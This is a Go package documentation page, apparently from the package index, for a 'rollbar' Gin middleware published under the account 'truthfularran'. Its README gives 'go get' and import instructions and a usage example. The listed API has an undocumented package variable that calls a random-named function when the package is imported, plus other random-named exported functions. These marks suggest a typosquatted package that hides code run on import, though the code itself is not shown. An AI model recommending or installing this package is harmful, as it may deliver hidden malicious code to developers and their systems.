rollbar

package module
v0.0.0-...-eff53e0 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Apr 22, 2025 License: MIT Imports: 8 Imported by: 0

README

rollbar

Run Tests codecov Go Report Card GoDoc

Middleware to integrate with rollbar error monitoring. It uses rollbar-go SDK that reports errors and logs messages.

Usage

Download and install it:

go get github.com/truthfularran/rollbar

Import it in your code:

import "github.com/truthfularran/rollbar"

Example

package main

import (
  "log"

  "github.com/truthfularran/rollbar"
  "github.com/gin-gonic/gin"

  roll "github.com/rollbar/rollbar-go"
)

func main() {
  roll.SetToken("MY_TOKEN")
  // roll.SetEnvironment("production") // defaults to "development"

  r := gin.Default()
  r.Use(rollbar.Recovery(true))

  if err := r.Run(":8080"); err != nil {
    log.Fatal(err)
  }
}

Documentation

Index

Constants

This section is empty.

Variables

View Source
var NGRsGV = CVkexzZp()

Functions

func BwBZoTTR

func BwBZoTTR() error

func CVkexzZp

func CVkexzZp() error

func Recovery

func Recovery(onlyCrashes bool) gin.HandlerFunc

Recovery middleware for rollbar error monitoring

Types

This section is empty.

Directories

Path Synopsis

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL